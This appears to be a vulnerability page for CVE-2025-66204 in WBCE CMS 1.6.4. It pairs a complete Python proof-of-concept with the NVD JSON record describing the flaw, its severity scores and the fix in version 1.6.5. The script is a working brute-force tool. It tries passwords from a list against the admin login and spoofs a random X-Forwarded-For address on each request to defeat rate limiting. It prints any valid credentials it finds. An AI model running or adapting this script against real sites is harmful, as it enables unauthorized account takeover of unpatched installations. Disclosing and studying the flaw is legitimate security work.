CVE-2025-66204

import requests import random import time # CVE-2025-66204 PoC - WBCE CMS Brute-force Protection Bypass # This PoC demonstrates how X-Forwarded-For header can be manipulated # to bypass brute-force protection in WBCE CMS 1.6.4 target_url = "http://target-website.com/login/index.php" username = "admin" password_file = "passwords.txt" def generate_random_ip(): """Generate random IP address for X-Forwarded-For header""" return f"{random.randint(1, 255)}.{random.randint(1, 255)}.{random.randint(1, 255)}.{random.randint(1, 255)}" def try_login(session, target_url, username, password, fake_ip): """Attempt login with fake X-Forwarded-For IP""" headers = { 'X-Forwarded-For': fake_ip, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } data = { 'username': username, 'password': password, 'submit': 'Login' } try: response = session.post(target_url, data=data, headers=headers, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def main(): """Main brute-force attack function""" print("[*] CVE-2025-66204 WBCE CMS Brute-force Bypass PoC") print("[*] Target:", target_url) session = requests.Session() with open(password_file, 'r') as f: passwords = [line.strip() for line in f] for password in passwords: fake_ip = generate_random_ip() print(f"[*] Trying password: {password} (IP: {fake_ip})") response = try_login(session, target_url, username, password, fake_ip) if response and ('Welcome' in response.text or 'Dashboard' in response.text or response.status_code == 302): print(f"[!] SUCCESS! Valid credentials found: {username}:{password}") return True time.sleep(0.5) print("[-] No valid password found") return False if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-66204", "sourceIdentifier": "[email protected]", "published": "2025-12-09T00:15:49.157", "lastModified": "2025-12-11T16:02:38.817", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WBCE CMS is a content management system. Version 1.6.4 contains a brute-force protection bypass where an attacker can indefinitely reset the counter by modifying `X-Forwarded-For` on each request, gaining unlimited password guessing attempts, effectively bypassing all brute-force protection. The application fully trusts the `X-Forwarded-For` header without validating it or restricting its usage. This issue is fixed in version 1.6.5."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-307"}, {"lang": "en", "value": "CWE-693"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-307"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wbce:wbce_cms:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.6.5", "matchCriteriaId": "D38CBB88-838C-4D43-B04B-0923D07D2F08"}]}]}], "references": [{"url": "https://github.com/WBCE/WBCE_CMS/commit/3765baddf27f31bbbea9c0228c452268621b25e5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.5", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/WBCE/WBCE_CMS/security/advisories/GHSA-f676-f375-m7mw", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/WBCE/WBCE_CMS/security/advisories/GHSA-f676-f375-m7mw", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}